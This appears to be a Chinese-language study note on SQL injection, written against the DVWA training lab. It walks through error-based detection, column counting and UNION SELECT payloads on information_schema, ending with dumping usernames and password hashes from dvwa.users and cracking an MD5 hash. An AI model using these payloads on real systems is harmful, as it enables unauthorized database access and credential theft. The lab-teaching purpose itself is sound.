SQL注入
学习自:文章(201-A3-SQL注入(上)) 、视频(农夫安全201-A3-sql注入技巧上2)
前言
先来一波八股文吧
SQL注入 (SQL Injection):通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句,使得SQL语句产生歧义
一、显注
显注是指,当攻击者拼接SQL语句注入时,网站会把SQL语句的执行结果显示在网页上。
1、判断
我们以DVWA为案例
正常测试,输入1,可以得到如下结果
当将输入变为’时,页面提示错误“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’‘’’ at line 1”,结果如图。看到这个结果,我们可以欣慰的知道,这个表单存在着注入漏洞。它返回了一个SQL语句执行错误的结果,所以可以判断为显性注入。
因为我们推测,网站程序中的SQL查询语句可能是这样的:
select * from XXX where id=‘$用户输入’
当我们输入’时,语句变为了:
select * from XXX where id=‘’’
如此,这个搜索语句多余一个引号,会引发报错。同时,这也代表了,攻击者是可以对原有程序进行拼接与注入的,只要尽力构造攻击语句,就可以对后端数据库为所欲为。
为了进一步确认我们能否自如的操作后端数据库,我们以此构造插入如下两个语句:
1’ and 1=1#
1’ and 1=2#
(其中#与–同理,属于SQL语句的注释符号,会使其后面的语句无效。)
那么理想中,原有语句会被拼接成这样。
select * from XXX where id=‘1’ and 1=1#’
select * from XXX where id=‘1’ and 1=2#’
前一个执行为真,应与输入1时结果相同,后一个执行结果为假,应当不返还结果。
由此我们确认了,这个漏洞真实存在,而且后续有可以完全被攻击者操作。
2、判断字段数量
接下来,我们可以有order by num语句查询该数据表的字段数量。
由此我们可以知道接下来联合查询查询的信息可以有几条。
我们输入 1’ order by 1# 结果页面正常显示。继续测试,
1’ order by 2#,1’ order by 3#
,当输入3是,页面报错。页面错误信息如下,Unknown column ‘3’ in ‘order clause’,由此我们判断查询结果值为2列。
接下来利用联合查询,查看一下我们要查询的数据会被回显到哪里。
这里尝试注入
1’ and 1=2 union select 1,2 #
3、获取数据库信息
为了获取到整个数据库的特征。首先介绍一下,mysql和MariaDB数据库的一个特征,即information_schema库。
information_schema 库用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
information_schema 库中的SCHEMATA表存储了数据库中的所有库信息,TABLES表存储数据库中的表信息,包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息。COLUMNS 表存储表中的列信息,包括表有多少列、每个列的类型等
构造以下语句可以查到所有的库名。
1’ and 1=2 union select 1,schema_name from information_schema.schemata #
4、获取表信息
接下来,我们查看dvwa库中的所有表名。
1’and 1=2 union select 1,table_name from information_schema.tables where table_schema= ‘dvwa’#
5、获取列信息
攻击者往往关心存储管理员用户与密码信息的表。所以接下来就是users表了。要查询users表中所有的列。
1’and 1=2 union select 2,column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’#
6、获取表信息
最后我们查看,user和password两列的信息。
1’and 1=2 union select user,password from dvwa.users#
就这样我们就爆出所有的用户名和密码值!不过,这密码是经过md5加密的。我们需要找一些破解md5值的网站来进行破解!直接百度“CMD5”,然后选择一个网站进去破解就可以了。我们选择admin这个来进行破解,md5密文为:5f4dcc3b5aa765d61d8327deb882cf99。 可以看到密码已经被破解出来了,密码是“password”
结束啦